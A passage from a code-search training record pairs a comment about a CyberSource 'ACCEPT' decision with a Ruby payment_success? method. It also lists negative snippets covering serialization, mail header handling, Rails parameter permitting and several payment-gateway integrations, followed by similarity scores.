fbe_field_size\n\n uint64b5.fbe_offset = fbe_current_offset\n fbe_field_size = uint64b5.verify\n if fbe_field_size == FBE::Integer::MAX\n return FBE::Integer::MAX\n end\n fbe_current_offset += fbe_field_size\n\n # noinspection RubyUnnecessaryReturnValue\n fbe_current_offset\n end",
"def fields=(unfolded_fields)\n @fields = Mail::FieldList.new\n Kernel.warn \"WARNING: More than #{self.class.maximum_amount} header fields; only using the first #{self.class.maximum_amount} and ignoring the rest\" if unfolded_fields.length > self.class.maximum_amount\n unfolded_fields[0..(self.class.maximum_amount-1)].each do |field|\n\n if field = Field.parse(field, charset)\n if limited_field?(field.name) && (selected = select_field_for(field.name)) && selected.any?\n selected.first.update(field.name, field.value)\n else\n @fields << field\n end\n end\n end\n\n end",
"def difference_fields(base_fields, remove_fields)\n fields(base_fields.to_a - remove_fields.to_a)\n end",
"def clean_keys\n self.validator_key = clean_key(validator_key)\n self.client_key = clean_key(client_key)\n self.databag_key = clean_key(databag_key)\n end",
"def set_fields(hash, keys=hash.keys)\n super hash, keys\n end",
"def populate_iv_fields\n fields = self.attributes.reject {|attr| !(attr.include?('iv') && attr.include?('encrypted')) }.keys\n fields.each do |field|\n unless self.public_send(field) #just in case so it's impossible to overwrite our iv\n iv = SecureRandom.random_bytes(12)\n self.public_send(field+'=', iv)\n end\n end\n end",
"def fields=(fields)\n @fields = fields.collect do |field|\n r = field.intern\n raise ArgumentError.new(\"Cannot have fields named #{r}\") if INVALID_FIELDS.include?(r)\n r\n end\n end",
"def fields; end",
"def fields; end",
"def fields; end",
"def signature_params\n params.require(:signature).permit(\n :person_city, :more_information, :person_name, :person_email,\n :person_street, :person_street_number, :person_born_at, :person_postalcode,\n :person_function, :person_country, :person_famous,\n :person_street_number_suffix,\n :subscribe, :visible\n )\n end",
"def keys_for_partial_write\n (changed + ['allowed_ips']).uniq\n end",
"def header_signature; end",
"def contractor_request_all_fields\n ContractorRequest.fields\n end",
"def set_fields(fbe_value)\n byte0.set(fbe_value.byte0)\n byte1.set(fbe_value.byte1)\n byte2.set(fbe_value.byte2)\n byte3.set(fbe_value.byte3)\n byte4.set(fbe_value.byte4)\n byte5.set(fbe_value.byte5)\n char0.set(fbe_value.char0)\n char1.set(fbe_value.char1)\n char2.set(fbe_value.char2)\n char3.set(fbe_value.char3)\n char4.set(fbe_value.char4)\n char5.set(fbe_value.char5)\n wchar0.set(fbe_value.wchar0)\n wchar1.set(fbe_value.wchar1)\n wchar2.set(fbe_value.wchar2)\n wchar3.set(fbe_value.wchar3)\n wchar4.set(fbe_value.wchar4)\n wchar5.set(fbe_value.wchar5)\n int8b0.set(fbe_value.int8b0)\n int8b1.set(fbe_value.int8b1)\n int8b2.set(fbe_value.int8b2)\n int8b3.set(fbe_value.int8b3)\n int8b4.set(fbe_value.int8b4)\n int8b5.set(fbe_value.int8b5)\n uint8b0.set(fbe_value.uint8b0)\n uint8b1.set(fbe_value.uint8b1)\n uint8b2.set(fbe_value.uint8b2)\n uint8b3.set(fbe_value.uint8b3)\n uint8b4.set(fbe_value.uint8b4)\n uint8b5.set(fbe_value.uint8b5)\n int16b0.set(fbe_value.int16b0)\n int16b1.set(fbe_value.int16b1)\n int16b2.set(fbe_value.int16b2)\n int16b3.set(fbe_value.int16b3)\n int16b4.set(fbe_value.int16b4)\n int16b5.set(fbe_value.int16b5)\n uint16b0.set(fbe_value.uint16b0)\n uint16b1.set(fbe_value.uint16b1)\n uint16b2.set(fbe_value.uint16b2)\n uint16b3.set(fbe_value.uint16b3)\n uint16b4.set(fbe_value.uint16b4)\n uint16b5.set(fbe_value.uint16b5)\n int32b0.set(fbe_value.int32b0)\n int32b1.set(fbe_value.int32b1)\n int32b2.set(fbe_value.int32b2)\n int32b3.set(fbe_value.int32b3)\n int32b4.set(fbe_value.int32b4)\n int32b5.set(fbe_value.int32b5)\n uint32b0.set(fbe_value.uint32b0)\n uint32b1.set(fbe_value.uint32b1)\n uint32b2.set(fbe_value.uint32b2)\n uint32b3.set(fbe_value.uint32b3)\n uint32b4.set(fbe_value.uint32b4)\n uint32b5.set(fbe_value.uint32b5)\n int64b0.set(fbe_value.int64b0)\n int64b1.set(fbe_value.int64b1)\n int64b2.set(fbe_value.int64b2)\n int64b3.set(fbe_value.int64b3)\n int64b4.set(fbe_value.int64b4)\n int64b5.set(fbe_value.int64b5)\n uint64b0.set(fbe_value.uint64b0)\n uint64b1.set(fbe_value.uint64b1)\n uint64b2.set(fbe_value.uint64b2)\n uint64b3.set(fbe_value.uint64b3)\n uint64b4.set(fbe_value.uint64b4)\n uint64b5.set(fbe_value.uint64b5)\n end",
"def add_check_fields\n @check_fields = []\n if @signature.require_full_address?\n new_fields = %w[\n person_street\n person_city\n person_street_number\n person_postalcode]\n @check_fields.push(*new_fields)\n end\n @check_fields.push('person_country') if @signature.require_person_country?\n @check_fields.push('person_born_at\\(3i\\)') if @signature.require_born_at?\n @check_fields.push('person_born_at\\(2i\\)') if @signature.require_born_at?\n @check_fields.push('person_born_at\\(1i\\)') if @signature.require_born_at?\n end",
"def sign; end",
"def bad_utf8_fix(record)\n record.fields.each do |field|\n if field.class == MARC::DataField\n field.subfields.each do |subfield|\n subfield.value.force_encoding('UTF-8')\n subfield.value.scrub!('')\n end\n else\n field.value.force_encoding('UTF-8')\n field.value.scrub!('')\n end\n end\n record\nend",
"def update!(**args)\n @field_with_rights = args[:field_with_rights] if args.key?(:field_with_rights)\n end",
"def reload\n (VIRTUAL_FIELDS).each { |f| self.send(\"#{f}=\",nil)}\n @trustee=false\n super\n end",
"def num_key_fields() 1 end",
"def sign\n fail NotImplementedError\n end",
"def sign; adapter_class.new(self).sign; end",
"def fix_fields(c)\n MegaBar::TmpFieldDisplay.where(field_id: c[:tmp].id).update_all(field_id: c[:perm].id)\n MegaBar::TmpOption.where(field_id: c[:tmp].id).update_all(field_id: c[:perm].id)\n end",
"def digital_signature_params\n params.require(:digital_signature).permit!\n end",
"def verify_fields\n fbe_current_offset = 0\n\n id.fbe_offset = fbe_current_offset\n fbe_field_size = id.verify\n if fbe_field_size == FBE::Integer::MAX\n return FBE::Integer::MAX\n end\n fbe_current_offset += fbe_field_size\n\n symbol.fbe_offset = fbe_current_offset\n fbe_field_size = symbol.verify\n if fbe_field_size == FBE::Integer::MAX\n return FBE::Integer::MAX\n end\n fbe_current_offset += fbe_field_size\n\n side.fbe_offset = fbe_current_offset\n fbe_field_size = side.verify\n if fbe_field_size == FBE::Integer::MAX\n return FBE::Integer::MAX\n end\n fbe_current_offset += fbe_field_size\n\n type.fbe_offset = fbe_current_offset\n fbe_field_size = type.verify\n if fbe_field_size == FBE::Integer::MAX\n return FBE::Integer::MAX\n end\n fbe_current_offset += fbe_field_size\n\n price.fbe_offset = fbe_current_offset\n fbe_field_size = price.verify\n if fbe_field_size == FBE::Integer::MAX\n return FBE::Integer::MAX\n end\n fbe_current_offset += fbe_field_size\n\n volume.fbe_offset = fbe_current_offset\n fbe_field_size = volume.verify\n if fbe_field_size == FBE::Integer::MAX\n return FBE::Integer::MAX\n end\n fbe_current_offset += fbe_field_size\n\n # noinspection RubyUnnecessaryReturnValue\n fbe_current_offset\n end",
"def form_attributes\n full_parameters.each_with_object({ \"SHASIGN\" => signature }) do |(k, v), attributes|\n attributes[k.to_s.upcase] = v.to_s if v.to_s.length > 0\n end\n end",
"def sign!(key, sign_nonce = T.unsafe(nil)); end",
"def own_fields\n @own_fields ||= {}\n end",
"def set_signing_information(opts)\n opts = check_params(opts,[:signers])\n super(opts)\n end",
"def unknown\n\t\t(@unknown_fields - @invalid_fields.keys).uniq.sort_by {|f| f.to_s}\n\tend",
"def contractor_request_fields\n contractor_request_all_fields - %i[nonop_source justification review_comment created_at updated_at]\n end",
"def fields\n @_fields ||= {}\n end"
] |
[
"0.7018839",
"0.6796034",
"0.64417994",
"0.5854818",
"0.56923896",
"0.56748366",
"0.56486195",
"0.56321037",
"0.5581592",
"0.5436769",
"0.5436769",
"0.54333484",
"0.5428445",
"0.5428445",
"0.5427422",
"0.535377",
"0.53443146",
"0.53436655",
"0.5317817",
"0.5317817",
"0.5247238",
"0.5241219",
"0.51667",
"0.5156576",
"0.51084477",
"0.5105565",
"0.5095362",
"0.50700504",
"0.5038649",
"0.50215906",
"0.501937",
"0.5013108",
"0.5002481",
"0.4995307",
"0.49846864",
"0.49846864",
"0.4968363",
"0.49423912",
"0.4939601",
"0.49225068",
"0.4906359",
"0.4902217",
"0.49004525",
"0.48993424",
"0.48968074",
"0.4889853",
"0.48886943",
"0.48871505",
"0.48832908",
"0.48832908",
"0.48677227",
"0.4863487",
"0.48629752",
"0.4844291",
"0.4839919",
"0.4839919",
"0.4827851",
"0.4819068",
"0.48148072",
"0.48130566",
"0.48085615",
"0.48077238",
"0.4802306",
"0.47975987",
"0.4782046",
"0.47776815",
"0.47705257",
"0.47546503",
"0.4748275",
"0.474434",
"0.47413394",
"0.4740305",
"0.47367385",
"0.47358584",
"0.4733567",
"0.4733567",
"0.4733567",
"0.4726234",
"0.47193542",
"0.4718472",
"0.47168344",
"0.47142687",
"0.47120923",
"0.4701468",
"0.4695687",
"0.46954614",
"0.4689834",
"0.46884948",
"0.46879998",
"0.46827793",
"0.4673998",
"0.4672802",
"0.46707377",
"0.46577308",
"0.4650311",
"0.46477142",
"0.4645329",
"0.46409008",
"0.4633245",
"0.4632321"
] |
0.6581715
|
2
|
If the payment was successful, Cybersource will send us back a decision of 'ACCEPT'
|
def payment_success?
@fields['decision'] == 'ACCEPT'
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def process_payment\n\n raise 'invalid credit card' unless @credit_card && @credit_card.valid?\n \n gateway = ActiveMerchant::Billing::AuthorizeNetGateway.new(\n :login => LOGIN_ID,\n :password => TRANSACTION_KEY\n )\n\n description = \"Concerts in the Clearing\"\n if reservation\n description += \"/Tickets, #{reservation.concert.name}\"\n end\n\n response = gateway.purchase((amount * 100).to_i, @credit_card, name_and_address.merge({:description => description}))\n return [true, response.authorization] if response.success?\n return [false, response.message]\n \n end",
"def confirm\n @payment_gateway = @order.payment_gateway_class.new(order: @order)\n if @payment_gateway.collect_payment?\n head :bad_request\n else\n @order.complete!\n head :ok\n end\n end",
"def payment_accepted(payment)\n payment_amount = payment.amount.to_f\n if outstanding_payment_amount <= 0\n fully_paid if payment_amount > 0\n elsif payment_amount < 0\n self.status = Enums::PaymentStatus::WAITING_FOR_PAYMENT\n end\n save\n end",
"def success?\n @result[:payment] === true\n end",
"def successful\n\t\t\t\tself.refunded == \"Approved\"\n\t\t\tend",
"def purchase_with_card!\n puts 'purchase_with_card!'\n unless validate_card \n puts 'card invalid'\n puts 'calling err'\n err!\n puts 'state'\n puts self.state\n puts 'saving...'\n self.save!\n puts 'saved. state is'\n puts self.state\n puts 'valid?'\n puts self.valid?\n puts self.errors.full_messages\n return false \n end\n \n mode = self.account.gateway.mode\n gateway = self.account.gateway.authorize_net\n \n response = gateway.purchase(price_in_cents, credit_card, purchase_options)\n transactions.create!(:action => \"purchase\", \n :amount => price_in_cents, \n :response => response,\n :meth => 'card',\n :origin => 'web',\n :gateway_mode => mode)\n \n puts \"RESPONSE.success?\"\n puts response.success?\n \n if response.success?\n puts \"calling FINALIZE\"\n finalize!\n puts \"STATE\"\n puts state\n else\n puts \"calling ERR!\"\n err!\n puts 'STATE:'\n puts state\n end\n \n # response.success?\n end",
"def confirm\n begin\n @result = Braintree::TransparentRedirect.confirm(request.query_string)\n if @result.success?\n current_user.update_user_with_plan_and_braintree_id(session[:user_plan], @result.customer.id)\n session[:user_plan]=nil\n flash[:success] = \"You have successfully converted to paid member. Now you can send messages\"\n redirect_to user_conversations_path(current_user.id)\n else\n flash[:error] = \"Your payment was not success. Check your card information.\"\n redirect_to user_conversations_path(current_user.id)\n end\n rescue\n flash[:error] = \"Your payment was not success. Check your card information.\"\n redirect_to user_conversations_path(current_user.id)\n end\n end",
"def express_checkout_complete \n paypal_token = params[:token] \n @prize = Prize.find_by_paypal_token(paypal_token, :conditions => [\"paypal_state = 'purchase_setup'\"]) \n @details = gateway.details_for(paypal_token) \n \n if !@details.success?\n #paypal has reported error back to our system\n paypal_error(@details) \n else \n \n #might want to add to debug\n logger.info \"Customer name: #{@details.params['name']}\" \n logger.info \"Customer e-mail: #{@details.params['payer']}\" \n \n @response = gateway.purchase( \n amount_in_cents(@prize.paypal_prizecost), \n :token => @details.params['token'], \n :payer_id => @details.params['payer_id'] \n )\n \n if !@response.success? \n paypal_error(@response) \n else \n @prize.update_attributes(\n :paypal_state => 'closed',\n :paypal_amount => @response.params['gross_amount'] \n ) \n \n #send to prize confirmation page \n end #!@response.success? \n end #!@details.success?\nend",
"def accept\n alter_payment_cookie\n redirect_to fines_path, flash: {\n success: (t 'mylibrary.fine_payment.accept_html', amount: params[:req_amount])\n }\n end",
"def confirm\n begin\n @result = Braintree::TransparentRedirect.confirm(request.query_string)\n if @result.success?\n current_user.update_user_with_plan_and_braintree_id(session[:user_plan], @result.customer.id)\n session[:user_plan]=nil\n flash[:success] = \"You have successfully converted to paid member. Now you can activate to offer by clicking on the Activate button\"\n redirect_to offers_path\n else\n flash[:error] = \"Your payment was not success. Check your card information.\"\n redirect_to offers_path\n end\n rescue\n flash[:error] = \"Your payment was not success. Check your card information.\"\n redirect_to offers_path\n end\n end",
"def success\n authorize! :view_sofort_thankyou_page, @order\n @address = @order.address\n @product = @order.product.decorate\n return render 'signup/orders/show' if @order.confirmed?\n transaction = ::Sofort::FinishTransaction.new(@order)\n transaction.run do\n @order.status = :paid\n @order.confirm\n return render 'signup/orders/show'\n end\n # customer opens success-page, but transaction is not complete\n flash.now[:notice] = t(:transaction_no_confirmation)\n render 'signup/orders/show'\n end",
"def acknowledge\n if params['paymentState'] == 'SUCCESS'\n p = params.clone\n p['secret'] = @options[:secret]\n md5digest = Digest::MD5.hexdigest(p['responseFingerprintOrder'].split(',').map { |key| p[key] }.join)\n\n md5digest == params['responseFingerprint']\n else\n true\n end\n end",
"def create\n @invoice.attributes = params[:invoice]\n @credit_card = ActiveMerchant::Billing::CreditCard.new(params[:active_merchant_billing_credit_card])\n\n respond_to do |wants| \n wants.html do\n if (!@invoice.paying_with_credit_card? || @credit_card.valid?) && @invoice.save then \n \n @survey.billing_info_received!(current_association)\n\n redirect_to survey_path(@survey)\n else\n render :action => :new\n end\n end \n end\n end",
"def success\n return unless params[:redirect_flow_id] == @order.gocardless_redirect_flow_id\n Gocardless::RedirectFlowService::CreateMandate.run(@order) do\n Gocardless::Payment.run(@order) do\n @order.status = :paid\n @order.confirm\n return redirect_to signup_order_path(@order)\n end\n # Payment failed\n end\n # Payment or creating mandate failed\n end",
"def submit_payment val\n if val\n @invoice.transaction_id, @invoice.status = val, 'paid' \n @invoice.save!\n else\n false\n end\n end",
"def successful_purchase_response\n end",
"def paypal_success\n @token, @payer_id = params[:token], params[:payer_id]\n if request.post? and @token and @payer_id\n @result = EXPRESS_GATEWAY.purchase(cart.total_cents, {:ip => request.remote_ip, :token => @token, :payer_id => @payer_id})\n if @result.success?\n @cart.source = :paypal\n send_emails\n mark_completed :forget => true\n render :action => \"success\" \n else\n flash[:error] = \"could not perform EXPRESS_GATEWAY.purchase\"\n redirect_to :controller=>:store, :action=>:error\n end\n else\n flash[:error] = \"could not find token or payer id\"\n redirect_to :controller=>:store, :action=>:error\n end\n end",
"def charge\r\n if paypal?\r\n if (@response = paypal.get_profile_details(billing_id)).success?\r\n next_billing_date = Time.parse(@response.params['next_billing_date'])\r\n if next_billing_date > Time.now.utc\r\n update_attributes(:next_renewal_at => next_billing_date, :state => 'active')\r\n subscription_payments.create(:subscriber => subscriber, :amount => amount) unless amount == 0\r\n true\r\n else\r\n false\r\n end\r\n else\r\n errors.add(:base, @response.message)\r\n false\r\n end\r\n else\r\n if amount == 0 || (@response = gateway.purchase(amount_in_pennies, billing_id)).success?\r\n update_attributes(:next_renewal_at => self.next_renewal_at.advance(:months => self.renewal_period), :state => 'active')\r\n subscription_payments.create(:subscriber => subscriber, :amount => amount, :transaction_id => @response.authorization) unless amount == 0\r\n true\r\n else\r\n errors.add(:base, @response.message)\r\n false\r\n end\r\n end\r\n end",
"def check(payment)\n retval\n end",
"def return\n notify = ActiveMerchant::Billing::Integrations::Paypal::Notification.new(request.raw_post)\n @order = ::Order.find_by_number(notify.item_id)\n if notify.acknowledge\n begin\n redirect_to thank_you_order_url(@order)\n rescue => e\n redirect_to '/'\n end\n end\n end",
"def settled_payment?\n SUCCESSFUL_PAYMENT.include?(response['payment_state'])\n end",
"def post_processing\n if params['redirect_status'] == 'succeeded'\n flash[:success] =\n 'Payment submitted. Thank you! Please wait a moment and refresh to see your dues updated.'\n else\n flash[:error] =\n 'Payment could not be submitted. Please contact a director for further help.'\n end\n redirect_to(root_url)\n end",
"def confirmation\n # Read the confirmation data from the request\n @confirmation = TBK::Webpay::Confirmation.new({\n request_ip: request.ip,\n body: request.raw_post\n })\n\n # confirmation is invalid for some reason (wrong order_id or amount, double payment, etc...)\n if @confirmation.amount != 5000.0\n render text: @confirmation.reject\n return # reject and stop execution\n end\n\n if @confirmation.success?\n # EXITO!\n # perform everything you have to do here.\n self.last_confirmation = @confirmation\n end\n\n # Acknowledge payment\n render text: @confirmation.acknowledge\n end",
"def ouroboros_accept\n MorLog.my_debug('Ouroboros payment : accept', 1)\n @payment = Payment.find(:first, :conditions => \"id = #{params[:order_id].to_i}\")\n if @payment\n @user = @payment.user\n MorLog.my_debug(\"Ouroboros payment : user - #{@user.id}\", 1)\n @enabled = Confline.get_value(\"Ouroboros_Enabled\", @user.owner_id).to_i\n if @enabled.to_i == 1\n if @payment.pending_reason.to_s == 'Unnotified payment'\n key = Confline.get_value(\"Ouroboros_Secret_key\", @user.owner_id)\n @hash = Ouroboros::Hash.reply_hash(params, key)\n if @hash == params[:signature]\n if params[:amount].to_d == @payment.amount.to_d*100\n @currency = Confline.get_value('Ouroboros_Default_Currency', @user.owner_id)\n rate = count_exchange_rate(session[:default_currency], @payment.currency)\n @user.balance += @payment.gross.to_d / rate\n @user.save\n @payment.completed = 1\n @payment.transaction_id = params[:tid]\n @payment.shipped_at = Time.now\n @payment.payer_email = @user.email\n @payment.payment_hash = params[:signature]\n @payment.pending_reason = ''\n @payment.save\n MorLog.my_debug(\"Ouroboros payment : payment - #{@payment.id}\", 1) if @payment\n MorLog.my_debug(\"Ouroboros payment : amount - #{@payment.gross.to_d / rate}\", 1)\n @error = 0\n else\n @error = 5\n MorLog.my_debug('Ouroboros payment : Amount missmach')\n MorLog.my_debug(' SYSTEM :' + @payment.amount.to_s)\n MorLog.my_debug(' Ouroboros :' + (params[:amount].to_d/100).to_s)\n end\n else\n @error = 4\n MorLog.my_debug('Ouroboros payment : Hash missmach')\n MorLog.my_debug(' SYSTEM :' + @hash)\n MorLog.my_debug(' Ouroboros :' + params[:signature])\n end\n else\n @error = 3\n MorLog.my_debug('Ouroboros payment : Unnotified payment.')\n MorLog.my_debug(' SYSTEM : ' + @payment.pending_reason.to_s)\n MorLog.my_debug(' Ouroboros : Notified payment')\n end\n else\n @error = 2\n MorLog.my_debug('Ouroboros payment : Ouroboros disabled')\n MorLog.my_debug(' SYSTEM : '+ @enabled.to_s)\n end\n else\n @error = 1\n MorLog.my_debug('Ouroboros payment : Payment was not found')\n end\n end",
"def paid\r\n #if @notification.acknowledge # check if it’s genuine Robokassa request\r\n #@user.approve! # project-specific code\r\n render :text => @notification.success_response\r\n @payment.approve!\r\n #else\r\n #head :bad_request\r\n #end\r\n end",
"def payment\n @invoice = BitcoinInvoice.find_by_notification_key(params[:id])\n #if @invoice.status != BitcoinInvoice::NEW\n # redirect_to root_path, :alert => 'Cannot pay more than once!' and return\n #end\n end",
"def verify\n response = @client.call :payment_verification, message: {\n 'MerchantID' => Zarinpal.configuration.merchant_id,\n 'Authority' => @authority,\n 'Amount' => @amount,\n }\n\n @response.validate(response.body)\n end",
"def confirm\n @model = User::BillingLog.find params[:id]\n @billable = @model.billable\n\n authorize @model\n\n if request.post?\n case @billable.pay_type.to_sym\n when *Billing::PaymentTypeList::BALANCE\n case @billable.class.name\n when 'Billing::Delocoin::Buy'\n run Billing::Delocoin::Buy::Operation::Finish, id: @billable.id do |result|\n roistat.push_async(:delocoin_buy_finish, cost: result['model'].cost)\n end\n\n return redirect_to status_my_billing_path(@model.billing_log.id)\n end\n end\n\n not_found\n end\n\n case @billable.pay_type.to_sym\n when *Billing::PaymentTypeList::YANDEX_KASSA\n @fields = Billing::YandexKassa::RequestFieldsService.new(@billable).perform\n\n render 'my/billing/confirm/yandex_kassa'\n when *Billing::PaymentTypeList::BALANCE\n render 'my/billing/confirm/balance'\n else\n not_found\n end\n end",
"def succeeded?\n authorized? || paid?\n end",
"def paid?\n initial_status = 0\n false if self.status_code == initial_status\n abort_method = nil\n self.status_name == 'error' ? abort_method=true : abort_method=false if self.status_code != initial_status\n self.status_name == 'charged' ? abort_method=true : abort_method=false if self.status_code != initial_status\n return abort_method unless abort_method.nil?\n\n # Verifying transaction\n transaction = Rents::Transaction.new(rid:remote_id)\n transaction_verified = transaction.verify\n\n # If there is any error it just return not paid (TODO: refactor it!)\n return false if transaction_verified[:error]\n\n # Update it attrs\n self.status_code=transaction_verified[:status][:code]\n self.status_name=transaction_verified[:status][:name]\n self.save\n\n # Prepare it returning\n self.status_name == 'error' ? true : false if self.status_code != initial_status\n self.status_name == 'charged' ? true : false if self.status_code != initial_status\n end",
"def payment_succeeded\n # log_hook_notification\n order_state_changed_to_paid\n\n render nothing: true, status: 200 # answer to API\n rescue MangoPay::ResponseError => ex\n log_error = ex.message\n rescue => ex\n log_error = ex.message\n ensure\n MangopayLog.create(event: \"payment_succeeded\",\n mangopay_answer: \"Mangopay HOOK - EventType: #{params['EventType']},\n RessourceId: #{params['RessourceId']},\n Date: #{params['Date']}\",\n user_id: @user.id.to_i,\n error_logs: log_error)\n end",
"def paypal\n if params[:token]\n if @subscription.complete_paypal(params[:token])\n if admin_user_pending?\n redirect_to activate_path(@user.activation_code)\n else\n flash[:notice] = 'Your billing information has been updated'\n redirect_to :action => \"billing\"\n end\n else\n render :action => 'billing'\n end\n else\n redirect_to :action => \"billing\"\n end\n end",
"def pay!\n #soap_server = VendorPayment.generate_soap_server\n #token = VendorPayment.generate_usa_epay_security_token\n #custNum = observed.vendor_payment_period.store.id\n #paymentMethodID = nil\n #parameters = generate_transaction_request\n #response = soap_server.runCustomerTransaction(token, custNum, paymentMethodID, parameters)\n #\n if self.vendor_payment_period.store.usa_epay_customer_number.blank?\n self.errors['usa_epay_customer_number'] = \"The USA ePay custNum must be set before a payment can be made.\"\n return\n end\n gateway = VendorPayment.gateway\n payment_methods_response = gateway.get_customer_payment_methods(:customer_number => self.vendor_payment_period.store.usa_epay_customer_number)\n monthly_transfer_method = nil\n items = if payment_methods_response.params['get_customer_payment_methods_return']\n payment_methods_response.params['get_customer_payment_methods_return']['item']\n else\n []\n end\n \n if items.is_a?(Hash)\n items = [items]\n end\n \n items.each do |payment_method|\n if payment_method['method_name'].strip == 'Monthly ACH Transfer'\n monthly_transfer_method = payment_method\n end\n end\n \n if monthly_transfer_method\n response = gateway.run_customer_transaction(:customer_number => self.vendor_payment_period.store.usa_epay_customer_number,\n :command => 'CheckCredit',\n # USA ePay does pennies for the amount, so it needs to be\n # multiplied by 100\n :payment_method_id => monthly_transfer_method['method_id'],\n :amount => self.amount * 100)\n \n \n self.state = if response.message['result_code'].strip == 'A'\n VendorPayment.status_codes[response.message['status_code']]\n else\n VendorPayment.status_codes[\"E\"]\n end\n self.response_data = YAML::dump(response)\n if !response.message['ref_num'].blank?\n self.response_code = response.message['ref_num']\n save\n else\n save\n self.errors['transaction'] = \"State: #{self.state}. There was an error with code #{response.message['error_code']}, while trying to make the payment. Check USA ePay for reference number #{response.message['ref_num']} if necessary.\\n\\nFull Message: #{response.message.inspect}\"\n end\n self.vendor_payment_period.update_payment_total!\n self.vendor_payment_period.update_state!\n else\n self.errors['payment_method'] = \"There is no payment method on the vendor called 'Monthly ACH Transfer'\"\n end\n end",
"def create\n #PaypalCallback object sends the raw post request to paypal and expects to get VERIFIED back\n response = PaypalCallback.new(params, request.raw_post, ENV[\"PAYPAL_POST_URL\"])\n\n #check that the payment says completed & paypal verifies post content\n if response.completed? && response.valid?\n @transaction = Transaction.find(params[:invoice]) #invoice is a pass through variable that gets embedded in the encrpyted paypal form and we get it back here\n Payment.create(:params => params.to_unsafe_h, :transaction_id => @transaction.id, :amount => params['payment_gross'], :confirmed => true)\n else\n #TODO maybe send out some type of alert to an admin\n end\n head :ok\n end",
"def contact_us_to_complete_payment\n # Horrible hack: when the user triggers a £40 edit charge, chooses a payment\n # method but then navigates backward, we get into a state where we can no\n # longer compare the \"old\" and \"new\" carrier types (because we no longer\n # know what the \"old\" type was as its now been overwritten in Mongo). This\n # means the new charge determination will output no charge, potentially\n # making the change of carrier type free.\n setup_registration('payment', true)\n render_not_found and return unless @registration\n end",
"def authorize_payment\n if !self.pending_purchase_order && self.payment_object\n order, payment = self.purchase_and_authorize\n if payment && payment.success?\n# self.payment_object = nil # remove payment object so we can re-validate\n self.purchase_orders.reload\n return payment.success?\n end\n end\n false\n end",
"def paid\n\t\tif params[:confirm].to_i == 1\n\t\t\tif @order.armor_enabled?\n\t\t\t\t@order.api_testing_set_to_paid\n\t\t\telse #is a prepay order\n\t\t\t\t@order.prepay_mark_as_paid\n\t\t\tend\n\t\t\tif @order.errors.any?\n\t\t\t\tflash.now[:notice] = @order.errors.full_messages\n\t\t\telse\n\t\t\t\t@success = true\n\t\t\t\tsleep(5) if @order.armor_enabled? #pause to allow update of status from webhook if armor\n\t\t\tend\n\t\tend\n\t\trespond_to do |format|\n\t\t\tformat.html { redirect_to order_url(@order) }\n\t\t\tformat.js\n\t\tend\n\tend",
"def success\n if params[:reference].present?\n\n paystackObj = Paystack.new(ENV['PAYSTACK_PUBLIC_KEY'], ENV['PAYSTACK_PRIVATE_KEY'])\n\n subscriptions = PaystackSubscriptions.new(paystackObj)\n result = subscriptions.create(\n\n :customer => current_user.email,\n :plan => \"PLN_96ws6ovviw8028d\", #plan id\n :amount => 200000 #in KOBO\n\n \n )\n\n\n u = current_user\n u.subscribed = true\n u.subscription_code = code\n u.email_token = token\n u.save!\n \n else\n redirect_to new_subscription_path, notice: \"Error Making Payment, Try Again\"\n\n end\n end",
"def purchase\n purchase = @gateway.purchase(amount, @card, options)\n @result[:message] = purchase.message\n purchase.success?\n end",
"def checkout\n \n # there must be a payment\n @payment = session[:payment]\n if !@payment || !@payment.amount\n @message = \"Sorry an internal error has occured\"\n render :action => 'error'\n return\n end\n\n # the donation can change based on parameters supplied\n if @payment.amount < 1\n # collect both possible donations\n donation = params[:donation]\n donation2 = params[:donation2]\n donation2 = donation if donation2\n donation = donation2.to_i\n @payment.update_attributes( :amount => donation )\n end\n if @payment.amount < 1\n @message = \" bad donation amount entered. Please hit back and try again\"\n render :action => 'error'\n return\n end\n\n # capture the company match if there is one\n matching_company = params[:matching_company]\n if matching_company\n @payment.update_attributes( :matching_company => matching_company)\n end\n\n # try get a party if there is one passed - this overrides anything from before.\n @party = nil\n @party = User.find(params[:party].to_i) if params[:party]\n @partyid = 0\n @partyid = @party.id if @party\n @payment.update_attributes( :owner_id => @partyid ) if @partyid > 0\n \n #if @payment.owner_id == 0\n # @message = \"Sorry no person to donate to found\"\n # render :action => 'error'\n # return\n #end\n\n # move payment along to the next stage\n @payment.update_attributes( :description=> Payment::CHECKOUT , :amount => donation )\n\n @notify_url = url_for(\n :controller=>\"payment\",\n :action => 'payment_received',\n :id => @payment.id,\n :only_path => false\n )\n\n @return_url = url_for(\n :controller=>\"payment\",\n :action => 'confirm_standard',\n :only_path => false\n )\n\n @paypal_business_email = SETTINGS[:paypal_business_email]\n @business_key = PAYPAL_MYPRIVKEY\n @business_cert = PAYPAL_MYPUBCERT\n @business_certid = SETTINGS[:paypal_cert]\n @action_url = \"http://www.paypal.com/cgi-bin/webscr\"\n Paypal::Notification.ipn_url = @action_url\n Paypal::Notification.paypal_cert = PAYPAL_CERT\n\n end",
"def purchase\n if express_token.include?(\"paykey=AP\")\n\n else\n\n #processes payment for express payment and on site with credit card.\n response = process_purchase\n #creates a transaction to store info from express payment and paywith Credit card\n transactions.create!(:action => \"purchase\", :amount => price_in_cents, :response => response)\n #cart.update_attribute(:purchased_at, Time.now) if response.success?\n response.success?\n end\n end",
"def success\n render :text => 'Payment transaction successful'\n end",
"def paypal\n if params[:token]\n if @subscription.complete_paypal(params[:token])\n login_and_email\n render :action => :thanks\n else\n render :action => 'billing'\n end\n else\n redirect_to :action => \"billing\"\n end\n end",
"def success?\n raw_json['PAYMENTSTATUS'] == 'Completed'\n end",
"def success\n payment.pend!\n payment.order.next\n flash.notice = Spree.t(:order_processed_successfully)\n flash['order_completed'] = true\n redirect_to spree.order_path(payment.order)\n end",
"def confirm_mandate\n begin\n redirect_flow = GO_CARDLESS_CLIENT.redirect_flows.complete(\n params[:redirect_flow_id],\n params: { session_token: \"#{current_user.id}\" }\n )\n current_user.go_cardless_customer = redirect_flow.links.customer\n current_user.go_cardless_mandate = redirect_flow.links.mandate\n\n if current_user.save(validate: false)\n create_gocardless_subscription\n flash[:notice] = 'Your payment has been successfully completed and subscription added to your GoCardless bank account.'\n else\n flash[:error] = 'Something went wrong!'\n end\n rescue StandardError => e\n flash[:error] = e\n end\n redirect_to root_path\n end",
